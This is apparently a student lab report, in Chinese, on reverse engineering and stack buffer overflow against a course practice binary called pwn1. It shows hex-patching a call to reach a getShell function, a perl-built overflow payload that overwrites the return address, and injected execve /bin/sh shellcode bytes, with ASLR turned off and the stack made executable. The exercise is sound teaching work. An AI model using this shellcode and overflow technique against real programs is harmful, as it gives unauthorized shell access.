20165310 NstSec2019 Week3 Exp1 逆向与Bof基础

一、实验内容

  • 实验目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 实验原理

    • 缓冲区溢出原理

    • 函数调用堆栈步骤

  • 实验任务

    • 任务一、直接修改程序机器指令,改变程序执行流程
    • 任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
    • 任务三、注入Shellcode并运行攻击
  • 实验基础

    • 基本Linux操作,例如反汇编指令、编辑器指令等,具体指令见实验过程

    • 汇编语言基础

      NOP汇编指令的机器码是“90”
      
      JNE汇编指令的机器码是“75”
      
      JE 汇编指令的机器码是“74”
      
      JMP汇编指令的机器码是“eb”
      
      CMP汇编指令的机器码是“39

    • 基本gdb单步调试能力

二、实验步骤

任务一、直接修改程序机器指令,改变程序执行流程

  • 将pwn1复制为pwn0作为备份,运行pwn1,发现pwn1的功能是打印输入的内容

  • 使用objdump -d pwn1将pwn1反汇编 ,查看相关函数

  • 排除系统调用,寻找关键函数mainfoogetshell

  • 根据反汇编代码

    • 计算主函数跳转地址,计算方法为:

    call对应的跳转指令为:e8+偏移地址,如图中所示为e8 d7 ff ff ff,原本eip所对应地址为:0x80484ba,最终指令地址为eip+偏移地址,即函数foo的首地址8048491,通过计算器可以验证正确性

    • 函数getshell的首地址为0x804847d,计算偏移地址为0x804847d-0x80484ba,得0xffffffc3 ,由于大小端存储格式,更改指令应该为e8 c3 ff ff ff

    • 除以上方法外,简便的计算方法,foo基地址-0xffffffd7=getshell基地址-所求跳转偏移地址,答案一样
  • 计算出地址后,对程序跳转机器指令进行修改,使其不再跳转到foo ,而是直接跳转至函数getShell

    • 利用万能的vim打开pwn1文件,发现满屏乱码,原因是vim默认显示ASCII码,esc切换到命令模式输入命令:%!xxd将其转换为16进制显示(windows环境推荐winhex)

    • 搜索需要修改的部分,便于修改,搜索命令/+搜索内容,输入i切换到输入模式,将d7 ff ff ff修改为c3 ff ff ff

    • 再次切换至命令模式,利用命令:%!xdd -r,使文件从十六进制转换回ASCII码,国际惯例:wq保存并退出,为了验证我们是否修改正确,再次利用objdump -d pwn1反汇编查看代码,确认修改正确

    • 确认修改地址成功,运行pwn1,验证是否能够跳转至getshell函数,发现成功得到shell

任务二、通过构造输入参数,造成BOF攻击,改变程序执行流

  • 从备份pwn0复制pwn2进行实验,objdump -d pwn2查看反汇编代码,计算缓冲区大小

  • 根据上图的代码,我们猜测缓冲区大小为0x1c,即28字节大小,加上ebp的四个字节共为32字节,我们运行程序进行输入,分别为36字节、32字节、31字节、28字节、27字节验证自己的想法

  • 输入36字节的输入111111112222222233333333444444445555,gdb调试,i r查看寄存器的值,eip0x35353535正是5555的ASCII值,可见返回地址被5555覆盖,将5555改成getshell地址0x0804847d即可

  • 但是输入参数需为ASCII码,地址需要与填充的字符串一起,利用解释型语法perl构造后输入,具体构造方法如下:

    • 将所需字符串+地址,利用perl重定向至文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF1

    • 查看文件cat BOF1xxd BOF1可查看是否重定向成功,成功后利用管道输入参数至pwn2(cat BOF1; cat ) | ./pwn2,成功获得shell

任务三、注入Shellcode并运行攻击

  • ShellCode:一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode

  • 前期环境准备工作

    • 备份pwn0为pwn3作为实验对象

    • 输入指令apt-get install execstack安装execstack

    • 设置堆栈可执行,否则就算注入成功也无法执行。

      execstack -s pwn3    //设置堆栈可执行
      execstack -q pwn3 //查询文件的堆栈是否可执行
    • 关闭地址随机化:现代操作系统地址随机化导致缓冲区溢出困难,下次可以尝试不关闭随机化的缓冲区溢出攻击。

      more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
      'echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
      more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭

      (其中“2”为开启,“0”为关闭)

  • 运行pwn3,构造shellcode注入,gdb单步调试,确认返回地址的位置

    • 构造shellcode,有如下三种构造方式,实验指导中所谓的“坑”即方法一,在缓冲区足够大时是适用的,由于本实验缓冲区只有32字节,并不适用,我们选择方法二:RNS溢出模式

    • 根据shellcode构造方法进行构造,继续利用perl语句重定向后注入,注入原理如下:

    • 参考实验指导的shellcode,假设返回地址1234进行构造:perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode1,再利用(cat input_shellcode;cat) | ./pwn3进行注入

    • 打开第二个terminal,利用gdb进行调试,首先找到对应进程才能进行调试,输入ps -ef | grep pwn3找到对应进程,进程号为6719

    • gdb命令attach+进程号进行单步调试,disassemble+函数名查看对应函数指令对应地址,其中返回值ret是我们关注的重点

    • b+指针设置ret的断点,c为函数继续执行的意思,注意一定要在注入的terminal按下回车,否则会出错,总结中将提到这一错误;利用i r esp查看esp的地址,x/16x+esp地址查看esp中的内容的十六进制,可以清晰看到esp最后为0x01020304正是我们假定实验的数值。

  • 确认返回地址无误后,我们将假定的返回地址地址1234换为shellcode函数的真正地址,即0xffffd2ec+0x4=0xffffdef0 ,重定向为input_shellcode2

  • 注入shellcode,成功获得shell

遇到问题与感想

  • 问题与解决方法:

    • 问题:在任务三gdb单步调试时,continue时,没有去另一个终端按下回车而是在当前终端按下回车,最终的esp并不在ret,经过查看地址的数据,发现差了四个字节,应该是多了回车导致多执行了一条命令,使esp产生了变化。
    • 解决方法:在注入的终端执行回车
  • 实验感想:
    • 初步理解缓冲区溢出原理与构造方法
    • 实际情况往往比实验复杂许多,还需要学习与研究
    • 对于汇编等基础知识的学习还要加强
  • 什么是漏洞?漏洞有什么危害?
    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    • 理论上世界上任何程序、硬件、设备等都存在漏洞
    • 漏洞的危害可大可小,小则个人隐私等遭受破坏,大则全国经济损失、国家信息被泄露等一系列重大后果。

20165310 NstSec2019 Week3 Exp1 逆向与Bof基础的更多相关文章

  1. Exp1 逆向与bof基础

    20155332<网络对抗>Exp1 逆向与bof基础 1.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简 ...

  2. 20165218 《网络对抗技术》Exp1 逆向及Bof基础

    Exp1 逆向及Bof基础 基础知识 1. NOP, JNE, JE, JMP, CMP汇编指令的机器码 指令 机器码 NOP NOP指令即"空指令",在x86的CPU中机器码为0 ...

  3. 20165101刘天野 2018-2019-2《网络对抗技术》Exp1 逆向与Bof基础

    20165101刘天野 2018-2019-2<网络对抗技术>Exp1 逆向与Bof基础 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执 ...

  4. 20145236《网络对抗》Exp1 逆向及Bof基础

    20145236<网络对抗>Exp 1逆向及Bof基础 一.实践目标 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码. 二.基础知识及实践准备 理解EIP寄存器及其功 ...

  5. 2018-2019-2 20165114《网络对抗技术》Exp1 逆向与Bof基础

    逆向及Bof基础实践 目录 一.实践目标 二.实验操作和步骤 1.直接修改程序机器指令 2.通过构造输入参数,造成BOF攻击. 3.注入Shellcode并执行 三.实验总结 四.实验遇到的错误和问题 ...

  6. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  7. 2017-2018-2 20155229《网络对抗技术》Exp1:逆向及Bof基础实践

    逆向及Bof基础实践 实践基础知识 管道命令: 能够将一个命令的执行结果经过筛选,只保留需要的信息. cut:选取指定列. 按指定字符分隔:只显示第n 列的数据 cut -d '分隔符' -f n 选 ...

  8. 逆向与Bof基础

    一逆向及Bof基础实践说明 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含 ...

  9. 20145237 实验一 逆向与Bof基础

    20145237 实验一 逆向与Bof基础 1.直接修改程序机器指令,改变程序执行流程 此次实验是下载老师传给我们的一个名为pwn1的文件. 首先,用 objdump -d pwn1 对pwn1进行反 ...

随机推荐

  1. vue中兄弟组件间 的传值 bus(可以理解为公共交通)

    点击大儿子(头部组件的年月日,下面的都要变化) 就相当于点击了年月日之后,下面的组件重新调接口,参数变化       1.首先随便哪儿写个bus.js 内容如下: import Vue from 'v ...

  2. 兼容PC和手机触摸代码

    测试环境:unity3d 4.6.1 using UnityEngine; using System.Collections; public class neccc : MonoBehaviour { ...

  3. 把Web Services生成服务器端C#、VB。或者接口

    什么是Web Services? Web Services 是应用程序组件 Web Services 使用开放协议进行通信 Web Services 是独立的(self-contained)并可自我描 ...

  4. 北京时间转为时间搓 标准时间转为UTC

    int standard_to_stamp(char *str_time)  {          struct tm stm;          int iY, iM, iD, iH, iMin, ...

  5. Unity shader学习之屏幕后期处理效果之边缘检测

    边缘检测的原理是利用一些边缘检测算子对图像进行卷积操作. 转载请注明出处:http://www.cnblogs.com/jietian331/p/7232707.html 例如: 代码如下: usin ...

  6. 4.构造Thread对象你也许不知道的几件事

    1.Thread类对象只有在调用了start()方法之后,JVM虚拟机才会给我们创建一个真正的线程!否则就不能说是创建了线程!也就是说new Thread()之后,此时实际上在计算机底层,操作系统实际 ...

  7. Codeforces Round #324 (Div. 2) E

    这题贪心,考虑先放第一个,然后从第一个数在p中的位置, 不断的往前走,和在他后面的那些数组进行交换,因为这样交换可以提高最大的效率,就是说你花费了1但是使得两个点都朝他的木匾节点减少了1 #inclu ...

  8. maven工程的common模块jar上传至仓库并被其它模块依赖

    .parent pom和common pom 都需要添加 <distributionManagement> <repository> <id>nexus</i ...

  9. [openjudge-搜索]Lake Counting(翻译及实现)

    题目原文 描述 Due to recent rains, water has pooled in various places in Farmer John's field, which is rep ...

  10. JavaScript 函数声明与函数表达式的区别 函数声明提升(function declaration hoisting)

    解析器在向执行环境中加载数据时,对函数声明和函数表达式并非一视同仁.解析器会率先读取函数声明,并使其在执行任何代码之前可用(可以访问).至于函数表达式,则必须等到解析器执行到它所在的代码行,才会真的被 ...